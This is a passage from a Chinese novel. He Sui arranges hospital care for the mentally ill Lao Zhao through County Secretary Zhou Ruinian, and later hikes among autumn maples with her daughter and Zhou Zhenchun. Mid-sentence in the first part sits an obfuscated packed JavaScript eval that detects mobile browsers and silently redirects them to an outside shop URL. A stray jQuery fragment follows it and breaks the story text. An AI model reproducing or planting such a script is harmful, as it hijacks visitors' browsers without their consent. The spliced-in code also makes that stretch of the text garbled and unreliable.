爷爷答应孙女。
老人把刻刀放在一个木盒子里,把板子收起,靠在墙上。
“可不能净用苇芦,顶力的地方还得用树枝竹子。”
爷爷坐回自己的小椅子上,又说了一句。
老赵抬起头看了看何穗,站起身要走开。何穗叫住他:
“你上午砍了这么一大捆芦苇,得费多少力气呀?下次少砍一点。”
“砍多一些放着。下雨天砍的会沤烂。”
老赵回答说。
“春晌天,雨水多,砍的芦苇新鲜,插到土里会长出叶子。那就等于是把芦苇种在菜地里了。”
爷爷很高兴地笑着说完,再问老赵,“老赵,你说的是这个意思吗?”
“嗯。”老赵应了一声,低着头,还是走开了。他回他自己的屋子里。
“干起活来,让人省力又省心,是个好里手。也难怪这么多人愿意帮他。要不然恐怕是早没命了。”
爷爷望着老赵离去的背影,说。
“是我见过干活最勤的人,也是干的最好的人,凡事认真又很细。有三年评了先进。后面这二年群众评上了,可上面没批下来。”
何穗告诉爷爷说。
“唉,现在有些事情不好说。”
爷爷有些感慨,叹了口气,尔后象是想起来似的,朝孙女问,
“你说周书记的大儿媳妇叫什么‘雨?’”
“雨秀。”何穗立马告诉爷爷。
“你说她父亲是□□,刚去冬塘还跪在台上批斗。她怎么就和周书记当军官的儿子订亲了呢?尽管周书记那时还在公社当书记,可毕竟也是书记啊,他们家也敢娶?这个雨秀?可是□□分子的女儿啊。”
“不知道,说不清,也搞不懂。复杂的很。有时候想想,这到底是那码子事和那码事的事情。”
何穗摇了摇头,说不下去了:自己工人阶级的女儿,根正苗红,怎么就没有好的小伙喜欢呢?周振林高攀不起,周振实总可以吧?可是连像周振实这样的小伙也没有人来说亲,母亲稀里糊涂地把自己嫁了一个流里流气的人。
何穗这么一想,就提起自己以前相亲的事来:
“都是急不过。有时候一急起来,我也想发疯。妈拉我相亲我真的很想自己发疯。”
何穗说得有些忿忿然。
“你想,要是一个人总是让人按着脑袋往瓢里里喝闷水,求生生不得求死死不能,把人弄得疲惫不堪,不疯才怪呢。”
爷爷还是说在老赵身上,老人不明了孙女此时此刻的心情。
老人吸了一口烟后,再往下说道,
“这些人都是聪明人,脑子里面想得周全,社会上的事情看得透,对不好的事情自己又无法改变,忍受不过。你不用说我也知道,他在你们单位肯定是个很好的人。好人才容易犯这个病。”
何穗静静地望着爷爷,听老人继续说,
“他好了,让他成个家。安静下来,会是一个很会过日子的人。”
老人望着从烟锅头掉在地面上的烟灰说。
“以前在单位,单位上所有的事情都让他收拾得干干净净的。不管是谁的事只要他做起来都很利索。在单位他一天到晚忙个不停,总有干不完的活。谁都可以使唤他。”何穗说。
“你不是认识周书记吗?把老赵的事情给他说说。”
“小文的妈简大夫已经在给老赵治了。周书记应该知道了吧?”
单纯的何穗,还没理解爷爷的意思。
“小文妈在帮他,周书记不一定知道。孙女呀,官场上的事,你是毫无所知。”
“小文妈肯定会跟小文爸爸说。小文爸不会跟周书记说吗?”
何穗睁大眼睛,感到有点奇怪地问爷爷。
“要是爷爷就不会。这些事在他们领导面前不算什么事。除非老赵身边的人亲自去找周书记,他才会过问一下。”
“是这样子的呀。”
何穗像是醒悟过来。
“要找就得直接找有用的人。只有找周
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199086|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
书记,大家一起去帮他,这样他才会好起来。单独你们这么照顾他,要想完全恢复,恐怕也没那么容易。张开古听说是去了什么地方治了一段时间,才完全好起来的。”
老人说完,抽完最后一口烟,把烟锅头往地上磕了磕。
“什么地方?”
“他家里人不愿意说,问也问不出来。”
爷爷也不知道。张开古的家人对人家问起张开古治病的事,讳莫如深 。
“老赵他现在会干活,好了很多。刚才我还问他,他记得上山种菜、砍柴、寻药材。说话也和正常人一样。”
何穗还是感到高兴地对爷爷说。
“现在不只是让他只会干活,要让他恢复正常象从前一样:能干活能够与人相处,一样去参加工作,能够自己生活。如果只会干活,那就不是一个懵懂人了嘛。”
老人以自己的阅历,对孙女说。
“春子的爷爷就是懵懂人。听说是因为俩个烈士儿子的牺牲。”
“春子的爷爷?”
爷爷惑然地看着孙女。
“就是周书记的父亲。我们冬塘习惯叫春子的爷爷。”
何穗告诉爷爷。
“我听说了。那是五十年代的事情了。当时没有好好治。要是治,就不至于那样了。”老人释然地笑了起来,他把烟斗插回腰间围巾里后,站起身来,对孙女说。
老人知道春子家的这些事,周家是过去的大户人家,稍有点事情,就会传开。
何穗往老赵屋子里看去,见老赵露出半个头,坐在窗前,朝外面望着,闷声不响在抽烟。
老赵刚刚住到家里来,有些不知所措,等过些日子,他与爷爷熟悉了,要让他与爷爷交流,一起相处,增加他的自信心,不能让他总是囿于自己郁郁寡欢的空间。
何穗想晚些时候给老赵洗个澡。现在她可以无所顾忌触碰他的身体。之前她在窑洞里替老赵换过衣服擦洗过身子,刚刚开始她有些害羞。虽然曾在医院照顾过老赵,但也只是给他送饭洗洗衣服;那时她自己还是个未婚的姑娘,还不曾有过去给一个赤身裸体的男人擦身子换衣服、触及男人的身体的经历。
老赵通过何穗一段时间细致周到的照顾,恢复了很多。何穗在日记里的记载,也越来越顺畅,表达出来的语言也欢快起来了。
“这需要爱和热情、陪伴庇护,包含着他能够享受到的快乐和来自于他周边的人对他的关怀慰籍;根据他的需要,给予他真正的关心。
“面对生活,要让他感受到幸福。当拥有幸福的时候,有助于他逃脱紧张和恐慌,使一切消极的因素屈从于它。生活之路也是如此,任何人都会遇上挫折,一个无所畏惧的人也会遭遇到突发性的灾难,但在经过了一番艰苦的历练之后,他可能会安全无恙,毫毛未损;而另一个人则可能在挫折之中暗自悲伤。老赵无疑是属于后者。
这需要一种自得其乐的精神,永远把胜利掌握在自己手里。即使是在厄运和困境之中,也毫无所惧,哪怕面对死亡的威胁。
“生活不会愈来愈糟,荒郊野外不是寻找远离尘嚣的场所。人生的苦难并非无穷无尽,生活之路也非永远坎坷不平。
“在脑海里,以地为湖,湖面如镜。可以想像蓝天白云、树木山林倒映在湖中,让美好的事物充满着自己的脑海,予以自己对生活积极乐观的信心。”
……
祖父在春子参军第三年夏,去下塆村喜席上喝了一杯小酒回来,在家小解时摔了一跤,溘然长逝,享年八十七岁。
料理完祖父后事,周瑞年的心思开始放在进城上面了。组织部已经找他谈话,到县委直接任职主管农业生产的副书记。
六十几岁的县委老书记受到“革委会”里“夺权造反派”的排挤打压,疲惫不堪,体弱多病,在阶级斗争错综复杂的形势下,无法腾出手来抓农业生产,需要他这个基层工作经验丰富,懂得农业生产又正年富力强的人替他分担工作上的任务。
这年夏,周瑞年调任乌浟县委副书记。翌年春直接升任书记。周家从此举家迁移进城。周家大宅院腾出大半的房屋作为牛家塆生产队仓库,牛姥山大队扫盲文化补习夜校班课室。
同年底,周振实调任乌浟县下辖某街道派出所所长。罗部长调到县公安局副局长。周振岩任刚刚成立的交警大队大队长。
以前区委王秘书,追随周瑞年担任县委办副主任一年后,升任县常委兼县办主任。
同年底开始,“工农兵”代表退出各个机关领导岗位。上面政策提倡发展国民经济,全面实现农业、工业、国防和科学技术的现代化。工农业生产工作再次提到各级领导机关议事日程上来。
周瑞年借机从基层抽调一批自己身边的人在担任在乌浟县机关重要部门领导职务。
“对干部还是对人民群众都是一个好事件。”
周瑞年对抽调上来自己身边的人说,“以后,应该把主要精力放在工农业生产上,确确实实地提高人民群众的生活水平。”
这一天,小文带何穗来到县委周瑞年的办公室。俩个女人先把老赵的病情给周瑞年仔细地说出来。
“这样吧,我们安排一个护士和你一起去西山,你愿意吗?”
周瑞年朝何穗问。
“……”
何穗一时不知怎么回答。她没想到事情会严重到这种地步,老赵要去大城市大医院接受正规的治疗。
“只有你与老赵同志熟悉,你们以前是同事,一起在食品站工作多年。其他人去了怕帮不到他,说不定还会帮倒忙。”
周瑞年看着何穗和蔼地说。
“以前老赵手伤住院也是何穗在照顾。”
小文告诉叔父说。
“那就更好了。”
周瑞年也高兴起来,他微笑地看着何穗说,“这样就可以把老赵同志照顾得更好,让他早日康复。以后他的工作,还是在冬塘食品站,或在乌浟重新安排,我们会尊重他本人的意见,这一方面,你可以直接告诉他,让他放心去治病,不要再有什么思想上的包袱。”
“在我们乌浟可以治吗?”
何穗鼓起勇气地问。
“我们乌浟医院没有精神科医生。老赵同志要经过系统的治疗,才能把他的病完全治好。他必须要去具备这些条件的大医院治疗。组织上也在考虑他的病情,老赵同志毕竟还是我们自己的同志,而且还是一位老同志,经历过战争,他的困难我们不能不管。”
周瑞年回答完何穗,说完,又朝她问,
“他住的地方怎么样?”
“他没去住。他在外面到处流浪,快一年了。要是有个安静的地方,可以种种菜干点什么事,对他好一点。他在我们冬塘食品站干活手脚不停。只要他干活他就会很高兴。”
何穗把话一口气说完,其间还特意说“我们冬塘食品站”。
“这样?”
周瑞年沉思片刻,才说,“我让人去找找看有没有你说的地方。如果有,可以安排的话,我们就尽量满足他住的条件。你也可以自己留意这样的地方,有这样的地方直接告诉我,找不到我,你就告诉小文也行。不管是长期住还是暂时住,先把病治好再说。”
“叔父,我爸让我请您晚上去我们家吃饭。”
小文见事情谈完了,才对周瑞年说。
“你婆婆从乡下带来一篮子的薯粉,你和小何一起去拿一点过去让你妈今晚就煮。也送些给小何带回家。小何今晚有空一起去吃饭吧?”
周瑞年看着何穗笑着问,不及何穗回答又告诉她说,“小文她妈总是夸你,雨秀也总是说你好。你们有通信吧?”
“一个月有一封。”
何穗点点头。
“雨秀刚刚开始去部队不习惯,在电话里哭。现在有了冬子,好一点。小何你结婚了吧?小孩多大了?”
周瑞年告诉雨秀的一些情况后,再看着小何关心地问。
“小何结婚了。小孩二岁。她准备离婚。”
小文替何穗告诉周瑞年说。
“噢?”
周瑞年皱了一下眉头,顿一会儿,看着何穗说,
“小何,叔劝你一句,能不离尽量不要离,夫妻一起过日子,总有磕磕碰碰的时候,互相让让就过去了。当然要是原则上的问题,那就另外一回事了。叔劝你们先缓缓,放些日子,冷静下来,再好好想想。结婚不能急离婚更不能急。这都是马虎不得的事情。”
周瑞年说到这里,稍微停顿一会儿,以长辈的语气再朝何穗说,
“你有什么委屈苦恼跟小文说,也可以写信给雨秀说,别弊在心里面,让大家一起想想办法,总会解决的。”
……
“我是第一次与周书记面对面说话,真的很好。小文你和雨秀真幸福呀……”
俩个女人从周瑞年办公室出来,何穗深有感触地说。
3. 第三章
今天早上,周家人返回西山。喻蓓说从西山坐火车回大叶。春子妈勉强问她,让修子留下来陪爷爷奶奶住些日子,喻蓓没吱声。好一会儿,回答春子妈说,可以在西山住多两天再走。
弟弟周振云陪妻儿随周瑞年车队送两个嫂子和俩家侄儿女回西山,几天后再回他的工作地冬塘古镇牛家塆周家老宅。
喻蓓带儿子从西山返回大叶,临走时出奇地平静。不过走之前的那天晚上,她一直在电话室关着门在打长途电话。
出发时,周振春抱着修子放到车里,喻蓓扭头朝周振春瞪着眼睛说,
“你就是呆在你的牛家塆,以你周家的势力,雪秀也可以随时过来你身边。”
她全然不顾依在她身上的儿子,莫名其妙看着父亲又再看着她这个对父亲恶狠狠说话的母亲。
周振春缄默不语。
这女人说得很对。这放在任何一个具有正常人的思维身上,不用作任何判断都能够想得到。再退一步,就是喻蓓把丈夫带着一起回大叶,以周振春现在既无身份也无地位,连工作尚无着落的人,如果与雪秀一起,她也是无法阻止的。
毕竟是大院里长大大城市里岀来的女人,对是非的判断自有一定的能力和智慧。
昨晚她再三向丈夫发出警告:她会早晚打电话给周振春。言下之意,如果周振春不接电话,不在牛家塆,就和雪秀一起了。
牛家塆度假村周家老宅,这时周家只留下周振春一人。
何穗带有同样爱好画画、准备以后报考美术专业的大女儿苏姝,一早从乌浟坐班车来冬塘古镇等在木铺街。
看到周瑞年的车队驶离冬塘古镇后,俩母女坐上周振春的车,沿着冬河向北驶向另一条过去阶级斗争时代的土路,来峻峰山的山脚下。
这是何穗十分熟悉的地方。七十年代初在冬塘当知青时,工作之余她时常来这写生。
改革开放新时代后,她也经常带着女儿苏姝过来。
冬塘秋色,恍若如梦。早上很暖和,还能看到成群结队的学生背着画架在山林间穿行,有的坐在山边的路径上已经在支起的画板上写生。
在迷茫的晨雾中,四周群山的层峦和山麓慢慢地浮现岀来,晨曦从东边的峻峰山巅上升起,远方的天空露出殷红的曙光。
他们把车停在一块草坪地上,顺着一条通向山腰的草径,向峻峰山山巅上行进。按东西方向,这是峻峰山的后岭,早晨的阳光就是这样从山峰的背后斜照出来。
何穗十三岁大的女儿苏姝一路上兴致勃勃,她对母亲说,自己要悠哉游哉地在牛家塆住上二天。
在冬塘歇夜,这是苏姝期待已久的。她走在前面,双肩背着画包,母亲和周振春跟在后面,三人沿着这条通向山腰的草径,向那晨?中的山麓上走去。
也许是得到母亲的遗传,女儿喜欢在莽莽的森林里停留。在她的画作里,也是以森林的绿色为背景,表现森林里的植物和动物,是她绘画作品中的主题。
女儿衬衫外面套了件米色的羊毛衫,蓝色的牛仔裤,一双眼睛细长而清秀。她们母女俩穿着同样的白色运动鞋。
入到山林,抬头仰望,大片大片的枫叶已经开始泛红。红叶漫山尽染,闪烁着光芒。
“乍一看是红色,其实并不完全是红色,像是胭脂红却又不是。仿佛抹去上了浓艳的胭脂。就是摘下几片,放到眼前看,也说不清楚到底是什么红色。”
苏姝从地上捡起一片红叶,说。
她用两根手指掐着叶梗,对着光照眯着眼睛注视着,顿了一会儿,再说,
“在阳光的辉映下,像是透明的红紫色。”
周振春也捡起一片红叶,放在鼻子上嗅了嗅:“我却闻到香味,象春花一样的芳香。”
“这就是大人和小孩的区别。大人看到的是本质,小孩看到的是表象。”
何穗说。她看了看女儿,再看着周振春,脸上漾出满满的笑意。
“苏姝的境界比我高,她从一片叶子,在光照下看到了不同的色彩。”
周振春以欣赏的语气夸说女孩。
这些年来冬湖的游客逐年增多,现在赏枫叶的季节游客就更多了。这些远道来的游客占满了冬塘古镇大大小小的旅店。
随着朝阳的升起,上山赏景的人逐渐多了起来,远远近近是人的身影和人的嘈杂声。
这时候刮起了一阵子的风,掠过了秋天的旷野,拽动了山林哗啦啦地响动,旁边的树木落叶纷飞。秋日的现象更加明显了。
“我就坐这里了。这里可以看到好几层色彩。过不多久,还会再有变化。拿着相机拍,就是一幅美丽的风景画。”
走到半山腰的一个小山麓上时,苏姝站定了,她回头眺望,高兴地说。
这儿正是何穗给雨秀写信的位置。现在在这儿,遥望眼前山林间一大片一大片的红叶,随着朝阳的升起,迷雾朦胧中逐渐地明朗起来。接受阳光和逆光的地方,在重嶂叠翠的山林中,幻化出奇妙的色彩。
“清晨的太阳,绿色的树林,红色的枫叶,山峦上的雾霭。这一切太美了。”
何穗也不由得高兴了起来。她回过头再告诉周振春说,
“那天写完那封信,天就黑了。我就这样子摸黑下了山。要是夏天的话,就不敢了。”何穗她的意思夏天蛇虫出没多,天黑就不敢在山上乱走了。
“不知道为什么,我很想把自己画到这山上、这天空。那样比我坐在这儿漂亮,也会把我的模样描画得比真实的容貌更漂亮吧?这景致不管是谁,什么样的人只要往中间一站,都会很漂亮。”
苏姝兴奋地说。
她把画包取下,放在地上,用手揉了揉闭上的眼睛,再凝视眼前的风景。
她觉得坐在这儿舒适惬意,可以居高临下腑瞰红叶、山峦、古镇和河流。
何穗告诉女儿说,春夏时节,雨后的天空,会出现彩虹,彩虹下小溪在绿草茵茵的原野上流淌,天空像是刚刚洗滌过的玻璃般透明,蓝天白云比平日里更漂亮。
“没什么比出生在这个地方并在这个地方长大是更幸福的事情了。”
何穗说完,把目光投向周振春。
“我也是这么想,可是最终还是离开了它。”周振春回答说。
“你真的转业不回老家了?”
“很难了。”
“你和我们不一样。更何况是一个男人呢。”何穗说。
她向前几步,走到女儿身边,再回头瞭望的四周的群山,“我这辈子就留在乌浟,守着冬塘,生生死死。”
她话说得有点儿伤感,但神情轻松愉快。
是因为当年她曾经在这片土地上留下了自己的足迹,人生的回忆。
她一次次来过,并就此爱上了这里。
虽然她不是在这里长大,但是在这里,她有过难忘的岁月,有她熟悉这里的山山水水。
现在女儿选中这个山麓的位置,正是自己半个月前坐在这里写给雨秀、也包括眼前人周振春的一封长信的地方,自己在这个地方向他们倾诉了衷肠,现年十三岁的女儿能否明白当年母亲那份少女的情怀?
苏姝坐下来后,何穗周振春还是沿着上山那条草径继续前行。
何穗她周一至周五上课,在学校的时间比在家里的时间多,周六周日几乎都在户外,有时候还请小长假旅行,照顾两个女儿都落在老赵的身上。何穗把这一切告诉周振春说。
“他的人生并没有凋零,而是以另外一种方式坚强地活下来。当然,这其中他要感谢你。”
周振春不明白何穗这话,有何所指。他没有回答她。
“也许他正如你所说,这样的话,作为夫妻就有点尴尬了。”
何穗的嘴角微微上扬了一下,还是笑着说。
从山林里很清晰地传来有人的歌唱声,侧耳倾听,发现是一种单调的重复,是几个人一起一落的合唱,好像在庆祝什么。歌声起伏跌宕,声调变化很大。
但就是这样的起伏跌宕时断时续的歌声,使得苏姝的心情非常愉快,她打开背包,一边从里取出画架画板、纸墨和画笔,一边也高兴地哼着从山林里传过来的歌儿。
姑娘领略自然界的美,与母亲和周振春叔叔领略自然界的美,肯定会是不一样的心境。纵然是在同一时间同一地点。
遁着女儿的歌声,何穗回头望去,脸上漾起欣慰的笑容。
母亲曾担心女儿在幼年时,因为父母不和闹离婚会有什么不良的影响,并由此造成性格上的缺陷;也曾想过女儿是否会遗传有那个男人的恶习,处心积虑地教她的风雅:三岁上让她在旧报纸上写字、画画,习读古文诗词。女儿六岁上,就开始把那些古诗词抄写在本子上。现年十三岁大的女儿,可以背上三百多首诗词了。
女儿也有兴致地学,这让何穗感到庆幸。她相信一定是女儿得到了自己的遗传。
现在女儿坐在画板前,凝视前方,纹丝不动,开始对着美丽的景色写生。眼前的女儿,让母亲心感欣慰。她凝眸而视,与其说是在欣赏风景,莫如说是在欣赏自己的女儿。
“苏——姝,苏——姝。”一群半大的孩子在山脚下对着这边的苏姝喊。
“哎——”苏姝亮开嗓子应了一声。
“他们是苏姝的同学。”
何穗转头朝山下望过去,认出来他们中有的是女儿的同学。
“这个时代让人们整个地活跃了起来。”
周振春看着山脚下的同学,略有所思地说。
“孩子们看起来特别活泼。”
“城里现在一到晚上,人们就在路灯下跳舞。什么卡拉OK、歌舞厅也开了好几家。”
“大城市还准许开夜总会。”
“听说一些不正经的人还跳贴面舞。连小孩子也谈起了恋爱了。”
何穗说到这,闪过脸笑了笑。
接着她向周振春谈起女儿早恋的事情。女儿班上的男同学喜欢苏姝,开始男同学只限于在学校里偷偷地给女儿赠送小礼物。后来就跟着来家里,结果连爷爷也喜欢上他。
因为这个男同学不光给苏姝带来很多小吃,也捎带给爷爷二三支纸烟,其中有二次是一整包。纸烟的包装盒非常漂亮,硬纸板做成的四四方方,溜光滑亮,简直就是一件完美的工艺品。
更重要的这些烟还是爷爷一生当中从未见过的洋烟:555、Marlboro(万宝路)。
男同学对女儿过分的殷勤,自然引起妈妈的警觉。在没见过女儿这位男同学之前,何穗就对她的这位男同学早有耳闻,开始在女儿耳边提醒她。
女儿说他非常有才学,小小的年纪多次参加各种数学竞赛,在各类少儿报刊上发表了多篇文章,诗和散文写得很有文彩。
后来何穗打听到,这男同学的父亲就是烟草公司的经理。男同学趁他父亲不注意,偷偷把父亲的烟拿到手送人。
何穗找了男同学的父亲,得知这一切后,就向女儿发出严厉的警告,懂事的女儿也就断了与这男同学的来往。
“家庭有这么大的女儿,与男孩子频繁往来,就会有各种流言蜚语纷至沓来。不能说是人家的猜测,而是女儿的行为让人可疑。”
何穗告诉完周振春后,说。
对于化解女儿的早恋,让她感到很高兴。
接着,她把男同学抄给女儿的诗背诵给周振春听:
“‘苦吗?也许不。
能爱便是幸福。
能有亿万善良而伟大的同胞,
一段悠长而悲壮的历史,
一片沉默而美丽的国土。
虽然常常爱的艰苦,
但这绝不会是含泪的幸福。
为什么我总是把深情的眼睛望向大洋彼岸,
是因为我已把爱留在那丰饶的土地上’。——这个男同学抄了这一首诗送给女儿,我想会不会是当众示爱的表白吧?一个才十三岁大的小毛孩。让人感到又好笑又有趣。”
“谁作的?”周振春问。
“说是一位回国华侨写的。”
“这些人在战争时期、还是在阶级斗争的年代,被折腾得死去活来,仍然赤胆忠心,大概是源自于这片土地和这片土地上的风景?”
周振春望着眼前的景致,深有感触地说。
“不包括人吗?”
何穗眯着眼睛看着周振春的脸问。她仰起的脸刚好被一束从树林间投下的光线照射到。
“这就不好说了。”
周振春漫不经心地回答。
何穗还是继续说起女儿早恋的事情。
她告诉周振春说,如果男同学与女儿一起只是普通的做作业互相学习,倒没什么。赠送礼物,这不外是示爱的表现。
换做一般母亲,估计早就拿扫帚赶出了家门,再关起门来对女儿一顿的惩罚狠打。
富有艺术气质开明的何穗以宽容的方式,阻止了女儿过早萌发的早恋。
“现在的男女同学,公然示爱。我们那个年代,男女同学是不讲话的。就是坐在同一课桌上,中间还划一道线:胳膊不能越界。”
周振春回忆自己少年的时光,也笑着说。
“后来女儿对我说,她才不屑看那种感伤的东西。还说那同学老是喜欢做一些奇怪的荒唐事儿,明明每天都见面的,还写什么信?又暴粗口,还和人打架。尽管他文章写得好,也是一个野蛮人。
“她是说,无论这个男同学是向她献殷勤还是示爱,她都不会陷入到那种情窦初开的感情世界里去。我想女儿一天天长大,也可以让她当作是在社会上见世面,到了该婚恋的时候,不会上坏男人的当。”
说完,她哧哧地笑了起来。象一阵阵轻微的山风,从树林里吹出来。
何穗上穿海军蓝法兰绒外套,下着紧身灰色牛仔裤,和女儿一样,脚蹬一双白色的运动鞋。
同一般的女性比,她这身打扮要中性得多。从树林上照射下来的阳光,给她的身上隐约洒上一层一层的光芒。
她紧紧尾随周振春身后,不停地说:
“现在在冬塘,我是雨秀唯一的朋友。小文是她的娌妯。假如我当时有那么早多了解男人,就不至于第一次婚姻失败了。”
“……”
“我和林子有过一次单独上山的经历,当然不是在这里。”
周振春听她这么一说,停下脚步,回头望着何穗。何穗看周振春站住望向自己,她微微偏着头,定睛地注视着周振春,诡谲地笑着,告诉他说:
“食品站的后山上。我让他带我摘杨梅吃,我们就上山了,他果真只爬到树上摘下一捧杨梅,给了我后,就利索地往山下走,片刻都不停留。”
她不断地用手扯着树枝,甩开步子,紧跟着周振春,“我那时要是主动一点,可能我的人生就是另一番样子了。”她毫不掩饰地说。
“什么时候的事?”
周振春感觉有点莫名其妙。
“他上高二的时候,这不久他就和你一样,说参军就参军了。一点儿不像是我们普通老百姓啊,要走正正规规的渠道。”
何穗说到这些,很是羡慕的口气。
这一带是山峦叠蟑的盆地,山腰以下依然雾气蒙蒙,从这里俯瞰清晨的小镇,在缭绕的雾霭中,犹如是悬浮在半空里。
“我哥很老实。”周振春象是在自问自答,“那时候雨秀姐已经常来家了。”
“是呀。雨秀刚刚上高中,那时候他已经跟雨秀好上了。这是后来我才知道的。他们俩隐蔽得很深啊。我惋惜地想,要是当初主动一点,哪怕是□□一点就好了,只要林子那家伙肯,我想通常男人到了那种情况下肯定会把持不住的。”
说完,她扬起脸看着周振春,一下哈哈大笑起来。笑完,她象是诠释自己刚才前面的话,再说道,
“当然也不能太刻意,毕竟是个女人。太刻意的话,女人就是□□了,会适得其反,没有男人会喜欢一个□□的女人。甚至还会闹出糟糕的事情出来。再说这种事情,光靠一个人是做不来的。所以,现在眼看女儿也在长大成年,作母亲的得看紧自己的女儿,男孩子再怎么样,也不需要去太在意。”
一只老松鸦带领着五六只小松鸦从头上的绿色树枝上飞了过去。周围听见树叶与树叶相互摩擦的声音。
“军装就是养眼的,一身军装就是帅。”
何穗一下伸出手轻轻捶了一下周振春的后背,“有人说看我的后背象男人,这才是真正男人的后背,□□有力,象一堵结实的墙。”
说完,她翘起嘴角好笑似的笑了起来,顺势把手挽在周振春的胳膊上,继续往下说起当年傍着眼前这个男人的兄长,
“那时候林子探家,穿着军装,摸一下他的衣袖,雨秀的脸色就很难看,站在一起照张相她也吃醋,从此以后再也不敢了。所有的女知青都在背后说她是小气鬼。”
这并不是令人可笑的话题,何穗却笑个不停。只是因为她太高兴:
“大家都把她孤立起来,她自己也愿意把自己孤立起来。”
“我姐不喜欢热闹。她自己说的,去人多的地方心就烦。”
周振春放慢脚步,他让何穗挽着自己的手,带着她向前走。
“一定是另有原因吧?”
何穗问。不及周振春的答话,她又告诉周振春说,
“西山那个会拉小提琴的吴有印特意来我家找我打听雨秀的下落。要是我不用雨秀结婚了的借口回绝他,他会不会找到雨秀学校里去?会向你们家去找雨秀?我看得出来,他那落落寡欢的神情就是‘千里寻夫’的样子呀。”
“你说得太严重了吧?何姐。”
他们穿过一片杂树林,朝光亮的方向走去,这里一地落叶。没多久,前面立即开阔起来,看见一条溪水从绿色草坪地穿梭而过。
草坪上绿草葱茏,仿佛把人的脚也染成了绿色。
时节尽管已入秋天,但在山里,仿若春天。
一路上走来,何穗话语絮叨不休,从头到尾眼里泛着光采。现在她感到美丽地活着的幸福感正盈满了自己的心房。她像少女般天真无邪,朝阳映照着她长长的身影,在落在地上的树木影子间穿梭移动,让人瞬间产生错觉,以为她也是一根会移动的树木的影子。
何穗边走边说,她脱下外套,捆扎在腰上,任凭衣袖在风中飘动着。她把自己的手挽住周振春的胳膊,听到有人的声音又放开,一会儿没人的时候又挽上。
在一处陡壁前,俩人停了下来。这里围着一群人。走近一看,清澈的泉水,从林荫掩盖下的岩石缝隙里喷涌而出,有几个人围在泉水前面,有人用手从流淌的水里捧水喝。这泉水通向牛家塆的池塘。这儿是周振春幼年时玩乐的场所。
附近不远就是一片杂木林,里面有各种各样的野果:乌饭、泡喱、茶灌茶苞、杨梅、地茄子、金樱子、野柿子和牛子胡……
男孩子玩打仗,可以摘“乌金子”当作手榴弹砸人。一身弄脏了就在这溪水里洗衣服洗澡。
俩人在溪水边驻足一会儿,走到一个小山包的斜坡上,坐了下来。从这里透过树林的缝隙,很容易望见女儿苏姝坐的方向。女儿已经在支起的画板上写生,晨光中现出她纹丝不动的身影。母亲的心思还是放在看守女儿的身上。
远方墨绿色重叠的山峦作背景,用面前的这棵水杉树作陪衬。画面上的山峦和杉树,也不是采用原色,形状和色彩略有不同,显得更加优雅。
画面中的红叶,也并不是红叶上的纯粹的红;曙光映照天空的颜色略显得阴暗,但看上去更加安静温馨。
“这才富有冬塘秋天的色彩。可总是画不好,也不知道为什么。”
女儿对母亲说。她话语里带着明显的遗憾。
“要是画好了,那就成了大师了。”
周振春半开玩笑半认真地说。他是在安慰小女孩。
“由一片红叶,联想到画成一整块,由一整块,想到画一座山,如果把一座山画成红叶,那就成了火烧山了。”
苏姝以孩子般的天真,脸上重绽出笑容,回答周振春说。
初识这个叔叔,对于她来说,是陌生的。刚刚开始见到,她还很受拘谨,看到他和妈妈俩人形影相随出入茂密的山林,自己做女儿的感觉一下子和他亲近了起来。
何穗却在认真惴摸着女儿的画。她目视画面上一头牛的身影,平心静气地说:
“牛的身影特别可爱呐。在早上的田野上,它沐浴在阳光中慢慢前行,牧牛人的模样,是在牛后面粗着嗓子唱着歌谣。牛和牧牛人身侧一边是绿林红叶的秋色,一边是有些萧瑟的河流田野,牛的样子一看上去就会是兴高采烈地哞哞直叫。在那些旁观者眼中,还夹杂着好多活色生香的趣味呐,可以想像牛低头津津有味地嚼草的姿态。能够一古脑儿画下去的话,那就是近景,不是远景了;这样的近景,留着以后近距离面对面地去画牛吧。”
听母亲的说明,苏姝出神地点着头。
这时,山脚下田野上的牛果真发出悠闲自得的鸣叫声。
“这么听话的牛。”“确实很听话呀。你让它叫它真的就叫了。”大家不约而同地笑了起来。
“马良神笔可能也是这么来的吧?”
周振春说。
“我不喜欢马良画了一只鸡让老鹰在天空盘旋。我要是有只神笔专门画花,一年四季总是鲜花盛开。要是画人的话,总是那么年轻,不要长大,就是女儿这样子,永远的十三岁。”
母亲有些洋洋得意地回答周振春说。
“我画过牛是一边吃草,一边往山丘上慢慢爬去的样子,我想那是一只体力很壮的牛。如果是一只小牛,我就画它在平地上嚼草,这样它就不用那么辛苦去爬坡呐。”
女儿接着母亲的话,目光迷离地说。
母女俩的回答,有一个共同善良的心愿。
牛成了女儿的画中物,在秋阳的光亮中,与这山上的树林,成就现实中的母女俩人的感情世界,或者是母女俩的共同美好的心愿。
刚刚从人与人斗的阶级社会中解脱出来,盼望着和睦相处,有着美好的心愿,必定是对未来的生活充满期待和希望。
可是期待也好希望也好,但愿以后的日子过得平安顺畅,不要有什么波澜。
这眼前的风景,也许暗合了她们母女俩一种偶然的或者必然的启示?
太阳已经完全升起来,这时到了午饭的时间。母亲一再催促女儿是该离开的时候了。
女儿眷恋景色,不舍离去,她不情愿地站起身来,收拾好画板画架,放到背包里,和母亲周振春沿着早上上山的路返回下山。
由于何穗表示以后将会常来,周振春特地和她一起把绣楼原先何穗住过的房子收辍好,并把钥匙给了她一把,供她随时方便来住。这样一来,以后她来冬塘不用到处奔波各处,找老乡投宿。
贼风把吊在电线上的电泡吹得晃荡不停。晚饭后,何穗周振春俩人沿着村口的路上散步。
从牛家塆度假村出来往右拐过一条小路不远,就是冬河的河岸边,这里看到是灯火通明的冬塘小镇。
现在的冬塘小镇,家家户户都装上了电灯。
拐上小路后,他们选择往左走,一路上黑漆漆的森林似乎永无止境,路径左边傍着山壁,右边悬临冬河。夜色幽暗寂寥,只有河里哗哗的流水声。
“春子,姐跟你讲个故事。”
“好呀。”
